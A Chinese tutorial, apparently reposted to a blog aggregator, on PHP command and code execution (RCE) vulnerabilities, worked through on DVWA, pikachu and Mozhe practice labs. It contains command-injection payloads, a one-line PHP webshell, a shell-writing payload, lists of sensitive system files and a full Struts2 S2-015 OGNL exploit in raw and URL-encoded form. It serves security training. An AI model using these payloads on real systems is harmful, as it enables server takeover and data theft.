RCE代码及命令执行(详解)

news2025/3/10 18:44:37

RCE代码及命令执行

  • 1.RCE漏洞
    • 1.1.漏洞原理
    • 1.2.漏洞产生条件
    • 1.3.漏洞挖掘
    • 1.4.漏洞分类
      • 1.4.1.命令执行
        • 1.4.1.1.漏洞原理
        • 1.4.1.2.命令执行危险函数
        • 1.4.1.3.漏洞检测
      • 1.4.2.代码执行
        • 1.4.2.1.漏洞原理
        • 1.4.2.2.代码执行危险函数
        • 1.4.2.3.漏洞检测
    • 1.5.命令执行和代码执行区别
  • 2.命令执行
    • 2.1.命令执行函数介绍
      • 2.1.1.system函数
      • 2.1.2.exec函数
      • 2.1.3.passthru函数
      • 2.1.4.shell_exec函数
      • 2.1.5.总结
    • 2.2.命令执行前置基础
      • 2.2.1.Windows基础命令
      • 2.2.2.Linux命令
      • 2.2.3.拼接符
    • 2.3.命令执行案例
      • 2.3.1.乱码解决
      • 2.3.2.Low级别
        • 2.3.2.1.介绍
        • 2.3.2.2.操作
      • 2.3.3.Medium级别
        • 2.3.3.1.介绍
        • 2.3.3.2.操作
      • 2.3.4.High级别
        • 2.3.4.1.介绍
        • 2.3.4.2.操作
    • 2.4.墨者靶场案例
      • 2.4.1.靶场链接
      • 2.4.2.判断操作系统
      • 2.4.3.开始测试
      • 2.4.4.抓包
      • 2.4.5.失败获取key值
      • 2.4.6.尝试读取key值
      • 2.4.7.成功获取key值
    • 2.5.命令执行总结
  • 3.代码执行
    • 3.1.代码执行函数介绍
      • 3.1.1.${}执行代码
      • 3.1.2.eval函数
      • 3.1.3.assert函数
      • 3.1.4.array_map函数
      • 3.1.5.总结
    • 3.2.代码执行案例
      • 3.2.1.pikachu靶场
        • 3.2.1.1.开始测试
        • 3.2.1.2.代码分析
        • 3.2.1.3.尝试代码执行
    • 3.3.代码执行漏洞利用
      • 3.3.1.利用方式
      • 3.3.2.PHP魔术常量
        • 3.3.2.1.__LINE__案例
        • 3.3.2.2.__FILE__案例
        • 3.3.2.3.__DIR__案例
      • 3.3.3.读取文件
        • 3.3.3.1.读取文件前置了解
        • 3.3.3.2.读取hosts文件案例
      • 3.3.4.一句话木马
        • 3.3.4.1.代码准备
        • 3.3.4.2.访问页面
        • 3.3.4.3.添加一句话木马
        • 3.3.4.4.连接一句话木马
        • 3.3.4.5.访问目标主机
      • 3.3.5.写Shell
        • 3.3.5.1.访问页面
        • 3.3.5.2.拼接代码
        • 3.3.5.3.访问info.php
      • 3.3.6.墨者靶场
        • 3.3.6.1.靶场链接
        • 3.3.6.2.测试靶场
        • 3.3.6.3.工具利用
        • 3.3.6.4.寻找exp
        • 3.3.6.5.获取key值
  • 4.防御
  • 5.其他

1.RCE漏洞

1.1.漏洞原理

  RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

1.2.漏洞产生条件

  1)调用第三方组件存在的代码执行漏洞。
  2)用户输入的内容作为系统命令的参数拼接到命令中。
  3)对用户的输入过滤不严格。
  4)可控变量或漏洞函数。

1.3.漏洞挖掘

  像命令执行和代码执行漏洞,通常需要看网站的情况,若网站只是单单的一个页面那么基本上就不可能存在该漏洞,若网站可能存在一些输入ip、调用接口等那么可能存在,但是通常该漏洞多数需要配合代码审计或者拿到源码,否则很难挖掘到。

1.4.漏洞分类

1.4.1.命令执行

1.4.1.1.漏洞原理

  该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。

1.4.1.2.命令执行危险函数

  PHP:exec、shell、system、popen等
  ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

1.4.1.3.漏洞检测

  白盒:可以对代码进行审计。
  黑盒:这里就可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但是可能存在加密的情况,那么还需要进行解密。

1.4.2.代码执行

1.4.2.1.漏洞原理

  这个漏洞和命令执行漏洞差不多,根据设计的需求,需将用户输入的部分代码进行执行,从而导致远程代码执行漏洞的出现。所以,开放的代码执行,需要针对代码进行做严格的控制,避免出现相应的漏洞。

1.4.2.2.代码执行危险函数

  PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
  Javascript: eval
  Vbscript:Execute、Eval
  Python: exec

1.4.2.3.漏洞检测

  整体的检测方式和命令执行都是一样的,只是输入的方式不同
  白盒:可以对代码进行审计。
  黑盒:这里就可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但是可能存在加密的情况,那么还需要进行解密。

1.5.命令执行和代码执行区别

  这两者的区别主要在于命令执行是调用操作系统命令进行执行,而代码执行是调用服务器网站的代码进行执行。

2.命令执行

2.1.命令执行函数介绍

  借鉴链接:https://www.cnblogs.com/networkroom/p/16395024.html

2.1.1.system函数

  该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回,如果执行失败则返回fale。这个函数也是经常被使用到的。

<?php
highlight_file(__FILE__);
system('pwd');
?>

2.1.2.exec函数

  该函数不会输出结果,但是会返回执行结果的最后一行,可以结合output进行结果的输出。

<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>

2.1.3.passthru函数

  该函数只调用命令,并将运行的结果原封不动的输出,没有相应的返回值。

<?php
highlight_file(__FILE__);
passthru('ls');
?>

2.1.4.shell_exec函数

  该函数不会输出结果,返回执行结果 使用反引号(``)时调用的就是此函数。

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>

2.1.5.总结

  当然还有很多的其他函数,可以自学百度搜索。

2.2.命令执行前置基础

  在进行命令执行之前首先需要来了解一下基本的Windows命令以及Linux命令,这里我们只做简单的介绍,倘若真的发现该漏洞了,可以直接在网上查找到相关的命令组成进行执行。

2.2.1.Windows基础命令

  Windows的基础命令准确来说也就是cmd中输入的命令,例如ping、tracert、telnet等。

ping        #测试连通性
tracert      #追踪路由
telnet       #远程连接
dir          #列出目录
ipconfig      #查看ip
arp -a       #查看路由表
calc         #打开计算器
regedit      #打开注册表
netstat -ano  #查看服务器端口信息

  当然还有很多的命令,这里只是举一些列子而已,若不知相关参数,或者使用方式,可以去搜索Windows相关的命令教程。

2.2.2.Linux命令

  Linux命令我感觉更没什么好说的了,平常操作linux就是使用命令,这部分若不太了解可以去看我的linux命令总结。

cd                  #切换目录
ls                   #显示当前目录下的文件
ifconfig              #查看IP地址
cat /etc/passwd       #查看password文件内容
id                  #查看当前用户的id号
cat /etc/group        #查看用户组文件内容
pwd                #显示当前目录
uname -a            #查看当前系统版本
natstat -pantu        #查看当前服务器的端口信息
netstat -nr           #查看网关和路由

2.2.3.拼接符

  | #只执行|后面的语句
  || #如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
  & #&前面和后面命令都要执行,无论前面真假
  && #如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
  ; #前后都执行,无论前面真假,类似&

2.3.命令执行案例

  这里我们用DVWA靶场来做案例。

2.3.1.乱码解决

  这里我们在输入内容的时候会出现乱码的情况,可以把DVWA\dvwa\includes目录下的dvwaPage.inc.php文件中所有的”charset=utf-8”,全部替换修改为”charset=gb2312”即可
在这里插入图片描述在这里插入图片描述

2.3.2.Low级别

2.3.2.1.介绍

  在low级别中是接受了用户输入的IP,服务器通过操作性的不同情况执行ping命令,并且Low级别中并未对输入的内容进行过滤。

2.3.2.2.操作

  1)这里我们使用net user查看一下用户,但是这里若直接输入net user,是不会执行命令的。
在这里插入图片描述

  2)这里就需要使用到我们之前提到过的拼接符,并且这里并没有进行过滤,那么这里可以使用任意的拼接符,只要保证能够在拼接后正常输出即可。比如这里我使用“|”拼接符,“|”只会执行后面的,那么这里可以直接跳过,输入前边的内容,直接输入“| net user”
在这里插入图片描述

  3)当然这里也可以使用别的拼接符做案例,比如使用“&&”,之前解释道,“&&”是当前面的命令为假,那么后面也不执行,反之,若前面的命令为真,那么后面就会执行,这里也就是说前面的命令能够正常执行了,那么后面的命令也就能执行,那么这里输入“127.0.0.1 && net user”
在这里插入图片描述

  4)其它的可以自己试试,这里我就不全部进行执行了。

2.3.3.Medium级别

2.3.3.1.介绍

  在Medium级别中是对“&&”“;”进行了过滤,那么这里可以不使用这两个破解符即可,使用别的,比如我之前提到的“|”或者“&”。

2.3.3.2.操作

  1)关于“|”在Low级别中已经操作过了,那么这里我就只操作“&”,“&”破解符是不管前面的命令执不执行都会执行后面的命令。那么这里是不是也就可以直接输入“& net user”
在这里插入图片描述

  2)这里可能发现诶,并没有执行,那么你可以向下翻一翻。可以发现命令是执行了,当然最好还是完整输入。
在这里插入图片描述

2.3.4.High级别

2.3.4.1.介绍

  在High级别中是对“| ”进行过滤了,这里不知道是作者无意间敲了一个空格还是故意的。

2.3.4.2.操作

  1)那么这里其实就可以直接输入“|net user”,这里可能看到不是过滤了“|”怎么还能用?
  其实这里主要是在“|”后面不进行空格直接连起来输入, 就可以绕过了,因为你过滤“| ”关我“|”什么事?
在这里插入图片描述

2.4.墨者靶场案例

  这里我们使用墨者靶场中的命令注入执行分析,做一个全流程的操作。

2.4.1.靶场链接

  靶场需要5个墨币,挺贵了,其实题目很简单,但是感觉不值得,不想买的看看也行。
  命令注入执行分析:https://www.mozhe.cn/bug/detail/12

2.4.2.判断操作系统

  这里我们首先需要先判断一下操作系统,由于命令执行是分操作系统的,不同的操作系统的命令也是不同的,所以需要先判断一下操作系统。可以看到这里是Ubuntu系统。
在这里插入图片描述

2.4.3.开始测试

  这里我们就使用之前我们测试过的方式进行测试,这里我们测试了127.0.0.1 | pwd 不行,其他的我也不测试了也不行。
在这里插入图片描述

2.4.4.抓包

  这里发现输入不行,为了好测试,这里直接开始抓包分析,我们抓到包后,尝试在包后面添加,然后发送。这里修改数据包后,成功发送。
在这里插入图片描述

2.4.5.失败获取key值

  这里在获取key值的时候,发现无法获取,不输出内容,那么这里就要考虑是否存在过滤,那么在linux中存在读取文件有cat、more、less、head、tail等,那么我们这里就一个个尝试
在这里插入图片描述

2.4.6.尝试读取key值

  这里我们结果尝试后发现,所有的读取命令都不行,那么这里我们就要考虑其他的方式了。
在这里插入图片描述

2.4.7.成功获取key值

  在linux中还存输入重定向,就是将一个文件作为命令的标准输入,格式:cat < key_251322682818227.php
在这里插入图片描述

2.5.命令执行总结

  案例中设计到的只是使用了“net user”作为演示,当然也可以使用别的一些命令,由于我这个是Windows系统,Linux系统也是一样的。至于安全,还是需要在开发过程中需要对参数进行严格的限制。

3.代码执行

3.1.代码执行函数介绍

3.1.1.${}执行代码

  该执行代码会将中间的php代码进行解析。

<?php
${<!-- -->phpinfo()};
?>

3.1.2.eval函数

  该函数会将字符串当作函数进行执行,但是需要传入一个完整的语句,同时必须以;分号结尾,也是最常见的函数。

<?php
eval('echo "hello";');
?>

3.1.3.assert函数

  该函数是判断是否为字符串,如果是则当初代码进行执行,但是在php7.0.29之后的版本不支持动态调用。

低版本
<?php 
assert($_POST['a']);
?>
7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>

3.1.4.array_map函数

  该函数是为数组的每个元素应用回调函数。

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
构建的payload
?a=assert&b=phpinfo();

3.1.5.总结

  这里和命令执行一样,涉及的函数会很多,可以自学百度搜索学习,或者在实际情况中遇到后,在搜索也行。

3.2.代码执行案例

3.2.1.pikachu靶场

  该案例我们使用pikachu靶场来做演示

3.2.1.1.开始测试

  这里我们可以根据提示可以看到,让我们提交一个我们喜欢的字符串。我们这里随便输入一些,发现返回“你喜欢的字符还挺奇怪的!”
在这里插入图片描述

3.2.1.2.代码分析

  从代码中能够看到,是把用户提到的请求内容,直接使用eval函数去执行,也就是说当函数执行的时候若报错了,那么就会直接if语句中的内容。那么当没有报错的时候就会把代码进行执行。
在这里插入图片描述

3.2.1.3.尝试代码执行

  这里我们输入一个phpinfo();,提交执行,看看效果,可以看到能够PHP代码被执行了,并且返回了相应的结果到前端。
在这里插入图片描述

3.3.代码执行漏洞利用

  借鉴:https://www.ngui.cc/article/show-519518.html?action=onClick

3.3.1.利用方式

?txt=@eval($_POST['cmd']);   一句话木马
?txt=print(_FILE_);           获取当前绝对路径
?txt=var_dump(file_get_contents('c:\\windows\system32\drivers\etc\hosts'));  读取文件
?txt=var_dump(file_put_contents($_POST[1],$POST[2]));
	1=shell.php&2=<?php phpinfo()?>   写shell

3.3.2.PHP魔术常量

  PHP 向它运行的任何脚本提供了大量的预定义常量,但是在这里有很多的常量是有不同的扩展库定义的。

__LINE__       显示文件中的当前行号
__FILE__       显示文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__        显示文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录

  当然还有其他的这里我就举几个例子,也可以去看我给的链接,文章大佬进行详细的总结。

3.3.2.1.__LINE__案例

  获取当前代码所在行数。
在这里插入图片描述

3.3.2.2.__FILE__案例

  获得当前文件的完整路径。
在这里插入图片描述

3.3.2.3.__DIR__案例

  获得当前文件所在的目录。
在这里插入图片描述

3.3.3.读取文件

  利用代码执行漏洞读取一些操作系统上的敏感文件,从而获取重要的信息。

3.3.3.1.读取文件前置了解

1)Windows
C:\boot.ini                                //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml    //IIS配置文件
C:\windows\repair\sam                      //windows初次安装的密码
C:\program Files\mysql\my.ini                //Mysql配置信息

2)Linux
/etc/passwd                                 //linux用户信息
/usr/local/app/apache2/conf/httpd.conf          //apache2配置文件
/usr/local/app/php5/lib/php.ini                 //php配置文件
/etc/httpd/conf/httpd.conf                     //apache配置文件
/etc/my.cnf                                  //Mysql配置文件

3.3.3.2.读取hosts文件案例

  这里读取hosts文件,读取其他文件都是一样的。
在这里插入图片描述

3.3.4.一句话木马

  利用代码执行漏洞可以配合一句话木马,然后使用工具进行连接一句话木马,从而实现获取敏感数据。

3.3.4.1.代码准备

  这里就不使用pikachu靶场了,这里我们自己编写一个代码。

<?php
if(isset($_GET['a'])){
	eval($_GET['a']);
}
else{
	echo "please input a";
}
?>

3.3.4.2.访问页面

  这里我们访问我们刚刚编写的页面。
在这里插入图片描述

3.3.4.3.添加一句话木马

  这里我们在url后添加?a=@eval($_POST['cmd']);,然后访问。
在这里插入图片描述

3.3.4.4.连接一句话木马

  这里我们使用蚁剑进行连接测试,然后连接目标主机。
在这里插入图片描述

3.3.4.5.访问目标主机

  可以看到这里我们已经能连接上目标主机。
在这里插入图片描述

3.3.5.写Shell

  利用远程代码执行漏洞执行写文件的操作,使其生成后门木马。

3.3.5.1.访问页面

  这里我们依旧使用之前的准备的代码。
在这里插入图片描述

3.3.5.2.拼接代码

  在URL后面添加?a=var_dump(file_put_contents($_POST[1],$_POST[2]));然后使用Post发送1=info.php&2=<?php phpinfo();?>
在这里插入图片描述

3.3.5.3.访问info.php

  这个新生成的页面是在当前目录下,也就是说你访问的是根目录,那么文件就在根目录下,那么这里可以看到我们已经成功生成了,那么如果我们生成的是一个一句话木马呢?
在这里插入图片描述

3.3.6.墨者靶场

3.3.6.1.靶场链接

  靶场链接:https://www.mozhe.cn/bug/detail/253
在这里插入图片描述

3.3.6.2.测试靶场

  这里测试可以使用工具进行测试,工具下载链接:struts2漏洞检测工具 提取码:t95s
  通过工具的检测我们可以看到是存在相应的漏洞的。
在这里插入图片描述

3.3.6.3.工具利用

  这里我们可以去网上上exp,也可以使用工具直接利用。这里我们就使用工具进行利用,这里我们通过前期的检测,我们检测出存在远程执行漏洞,那么我们可以在漏洞编号上选择相应的编号,然后在命令执行位置,输入想要执行的命令。
  可以看到成功执行,后续文件不在测试怎么看key值。
在这里插入图片描述

3.3.6.4.寻找exp

  这里说一下exp:意思就是利用代码,而poc:意思就是验证代码
  像这个漏洞可以在网上直接找相关的exp进行操作。
  例如这里写入exp的方式利用S2-015漏洞。

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

  当然这里不能直接输入这样的命令,需要对其进行url编码。

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

在这里插入图片描述

3.3.6.5.获取key值

  由于使用工具很容易就获取到了key值,这里我们使用exp进行获取。

/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action

  url编号后的exp

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

在这里插入图片描述

4.防御

  其实两者的防御都是一样的。需要对敏感函数禁用,就是之前提到的一些函数已经未提到的,同时对相关的变量进行过滤,再其次就是之上使用WAF的产品进行防护。

5.其他

  这里的WAF绕过我并没有提,可以自行百度搜索,因为像这类漏洞,多数需要白盒查看源代码进行代码审计然后才能发现漏洞,当然也不是说黑盒不行,主要要考虑到,对方参数有没有修改,设置了哪些过滤等等,盲猜比较麻烦。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/103671.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT学习记录(二)最基础的工程

文件 工程新建后会有这几个文件&#xff0c;自动生成的 main.cpp #include "mainwindow.h"#include <QApplication>int main(int argc, char *argv[]) {QApplication a(argc, argv);MainWindow w;w.show();return a.exec(); }QApplication a(argc, argv);这里…

Mentor-dft 学习笔记 day45-MTFI

Using MTFI Files此节介绍MTFI&#xff08;Mentor Tessend Fault Information&#xff09;功能&#xff0c;可用于ATPG工具和Tessent LogicBIST。MTFI是用于存储故障状态信息的通用且可扩展的文件格式。MTFI File Format MTFI是在“dft-edt”和“patterns-scan”上下文中读取和…

运用大O来给代码提速(冒泡排序)

本文内容借鉴一本我非常喜欢的书——《数据结构与算法图解》。学习之余&#xff0c;我决定把这本书精彩的部分摘录出来与大家分享。 本章内容 写在前面 1.冒泡排序 2.冒泡排序实战 3.冒泡排序的实现 4.冒泡排序的效率 5.二次问题 6.线性解决 7.总结 写在前面 大 O记…

Diffusion Model合集 part2

扩散模型原理介绍2五&#xff0c;逆扩散过程(Reverse Process)六&#xff0c;扩散过程中的后验的条件概率q(xt−1∣xt,x0)q(x_{t-1}|x_{t},x_{0})q(xt−1​∣xt​,x0​)七&#xff0c;目标数据分布的似然函数八&#xff0c;Diffusion Probabilistic Model的算法代码五&#xff…

“专利费用减缓”怎么申请?

在专利申请时&#xff0c;很多申请人对“专利费用减缓”的概念并不了解&#xff0c;或者不太清楚。甚至有很多申请人一听到专利申请可以请求费用减缓&#xff0c;就以为申请专利是不要钱的。当然&#xff0c;这样的理解就存在了很大的偏差了&#xff0c;所以&#xff0c;我们今…

Java Arrays类

JavaArrays类\huge{Java \space Arrays类}Java Arrays类 概述 Arrays类Arrays类Arrays类&#xff1a;本质就是一个工具类&#xff0c;用于操作数组元素的。 常用API ①. toString()&#xff08;重写过的toString方法&#xff09; toString()toString()toString()&#xff1a…

人才招聘网 招聘系统源码找工作源代码 各行业的招聘网站门户源码

运行环境&#xff1a;VS2015SqlServer2008R2.NET4.0 系统介绍&#xff1a; 适用于各地方或者各行业的招聘网站门户&#xff0c;相当强大的人才招聘网站&#xff0c;可登陆注册、支持第三方登陆&#xff0c;强大额后台管理&#xff0c;功能全面&#xff0c;界面美观 职位和简历…

如何用yolov5 训练自己的数据

文章目录 说明数据准备划分数据集转换数据label 格式训练前准备修改图片路径修改训练配置文件 voc.yaml修改 yolo配置文件开始训练没有GPU 或显存不够的说明 利用yolov5 训练自己的数据集通常需要利用自己标注的数据进行训练 接下来记录下如何训练自己的数据 数据准备 我这用的…

【数据结构】- 面试题

面试题1. 删除链表中的节点2. 反转一个链表&#xff08;非递归解法&#xff09;3. 判断一个链表是否有环&#xff08;快慢指针&#xff09;问题&#xff1a;[快慢指针为什么一定会相遇](https://blog.csdn.net/Leslie5205912/article/details/89386769)4. 获取单链表的节点个数…

【轻量级开源ROS 的机器人设备(5)】--(3)拟议的框架——µROS节点

前文链接&#xff1a;(2条消息) 【轻量级开源ROS 的机器人设备&#xff08;5&#xff09;】--&#xff08;2&#xff09;拟议的框架——ROS节点 五、静态栈分析 在处理运行多个资源的严格受限平台时线程&#xff0c;重要的是将堆栈使用保持在最低限度。这甚至 在利用具有同质堆…

技嘉电脑怎么开启vt模式?

电脑开启vt模式后&#xff0c;可以提高主板的运行速率&#xff0c;提高性能。那就有一些使用技嘉电脑的用户问技嘉主板怎么开启vt模式&#xff1f;下面小编就来教教大家技嘉电脑开启vt模式的方法。 Intel芯片组的技嘉主板 1、一般情况下&#xff0c;也就是在电脑开机的时候&…

计算机网络、操作系统刷题笔记15

计算机网络、操作系统刷题笔记15 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle&#xff0c;尤其sq…

差分详细讲解(C++)

每日一句:平凡的我在人多的地方曾极力小心翼翼&#xff0c; 但不知从何时起 &#xff0c;我不太在意别人的目光了。比起被人觉得是个怪人&#xff0c;我现在更害怕浪费时间。 差分一、一维差分二、二维差分一、一维差分 差分就是前缀和的逆运算,如果你不懂什么是前缀和,看这里…

移动技术在仓库运营管理中的作用

作者&#xff1a;Mike Kay&#xff0c;Mendix公司合作伙伴The Config Team渠道客户经理 市面上出现越来越多的仓库管理系统&#xff08;WMS&#xff09;以满足企业更好地管理供应链的需求。想要充分挖掘WMS的优点&#xff0c;一般可以通过移动解决方案来将关键的供应链运作进…

浪潮信息工程师:带你了解设备透传虚拟机的快速启动技术优化方案

编者按&#xff1a;将物理设备通过 vfio 透传给虚拟机是虚拟化常用的技术&#xff0c;但当为虚拟机分配比较大的内存时&#xff0c;虚拟机的启动时间会明显变慢&#xff0c;可能由十几秒延长至数分钟&#xff0c;严重影响用户使用体验。本文整理自龙蜥大讲堂 51 期&#xff0c;…

小林coding阅读笔记:计算机网络基础篇-TCP\IP模型

前言 参考/导流&#xff1a; 小林coding - 2.1 TCP/IP 网络模型有哪几层&#xff1f;学习意义 学习分层设计思想构建网络层次以及各层协议作用知识体系为网络编程奠定理论基础&#xff0c;对于RPC框架or分布式系统通信都是极为重要的一节&#xff0c;是提升整个系统效率的关键…

ubunt配置samba服务器,匿名访问

1. 环境 ubuntu14.04 2. 安装samba服务器 sudo apt-get install samba 3. 配置samba文件 vim /etc/samba/smb.conf 在最后添加如下内容 [muchx]comment Shared Folder with username and passwordpath /home/muchx/sharepublic yeswritable yesvalid users muchxcre…

二、基于kubeadm安装kubernetes1.25集群第一篇

1、概述 Kubeadm 是一个提供了 kubeadm init 和 kubeadm join 的工具&#xff0c; 作为创建 Kubernetes 集群的 “快捷途径” 的最佳实践。 kubeadm 通过执行必要的操作来启动和运行最小可用集群。 按照设计&#xff0c;它只关注启动引导&#xff0c;而非配置机器。同样的&…

虹科分享 | 硬件加密U盘 | 管理密码安全的四大工具

随着网络攻击变得越来越突出&#xff0c;密码安全变得越来越重要。为了为每个帐户创建安全密码&#xff0c;许多人正在转向密码管理工具来帮助防止敏感数据的泄露。 考虑到这一点&#xff0c;以下是一些顶级密码管理工具。 领先的密码管理工具 Keeper密码管理器和数字保险库 …

kali linux手动编译网卡驱动(以mt7612u为例)

〇、linux常用命令 《Linux入门与基础》课程教案_小王小王指定辉煌的博客-CSDN博客_linux入门与基础教案 linux常用命令笔记&#xff08;二&#xff09;_小王小王指定辉煌的博客-CSDN博客 一、下载源码 查看系统版本号 uname -r uname -a cat /proc/version 或/lib/module…